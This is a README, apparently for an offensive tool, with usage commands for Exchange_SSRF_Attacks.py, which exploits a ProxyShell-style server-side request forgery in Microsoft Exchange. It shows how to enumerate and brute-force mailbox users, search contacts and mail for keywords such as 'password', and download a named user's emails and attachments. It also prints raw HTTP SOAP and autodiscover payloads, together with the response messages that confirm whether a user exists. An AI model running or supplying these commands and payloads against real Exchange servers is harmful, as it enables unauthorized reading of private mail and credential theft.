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Some Attacks of Exchange SSRF

This project is heavily replicated in ProxyShell, NtlmRelayToEWS

https://mp.weixin.qq.com/s/GFcEKA48bPWsezNdVcrWag

Get 100 Email Users Without By Brute 无需爆破获取100条邮箱用户

run 运行程序:

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Get

result 结果:

Email Address  : [email protected]
Email Address  : [email protected]
Email Address  : [email protected]
Email Address  : [email protected]

Brute Account 爆破可能存在的用户

file with emails 需要尝试的邮箱文件:

/tmp/emails.txt:

run 运行程序:

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Brute --file /tmp/emails.txt

result 结果:

image-20210817172750895

爆破用户的几个接口 一:

POST /autodiscover/[email protected]/ews/exchange.asmx HTTP/1.1
Host: mail.exchange.com
User-Agent: Python PSRP Client
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: text/xml
Cookie: Email=autodiscover/[email protected]
Content-Length: 776

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <m:GetFolder>
            <m:FolderShape>
                <t:BaseShape>Default</t:BaseShape>
            </m:FolderShape>
            <m:FolderIds>
                <t:DistinguishedFolderId Id="inbox">
                    <t:Mailbox>
                        <t:EmailAddress>[email protected]</t:EmailAddress>
                    </t:Mailbox>
                </t:DistinguishedFolderId>
            </m:FolderIds>
        </m:GetFolder>
    </soap:Body>
</soap:Envelope>

用户存在会提示:

Access is denied. Check credentials and try again., 

爆破用户的几个接口 二:

POST /autodiscover/[email protected]/autodiscover/autodiscover.xml?=&Email=autodiscover/[email protected] HTTP/1.1
Host: mail.exchange.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36.
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: text/xml
Content-Length: 369

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>[email protected]</EMailAddress>
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
    </Autodiscover>
    

用户不存在会提示:

The email address can't be found.

Search Contacts 搜索联系人

run 运行程序:

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action SearchC --email [email protected] --keyword test

--keyword为你想要搜索的联系人关键词。

result 结果:

Search Mails And Download (include attachment) 搜索邮箱并下载,包括附件

run 运行程序:

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action SearchM --email [email protected] --keyword password

--keyword为你想要搜索的关键词,比如"密码"。

result 结果:

[+] Item [output/password-item-0.eml] saved successfully

keyword关键词可以使用一些邮件语法,比如搜索主题时,可以用--keyword "subject:password"

Download user's emails (include attachment) 下载指定用户的邮件,包括附件

run 运行程序:

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Download --email [email protected]

result 结果:

[+] Item [output/item-0.eml] saved successfully

image-20210818142426337

图片

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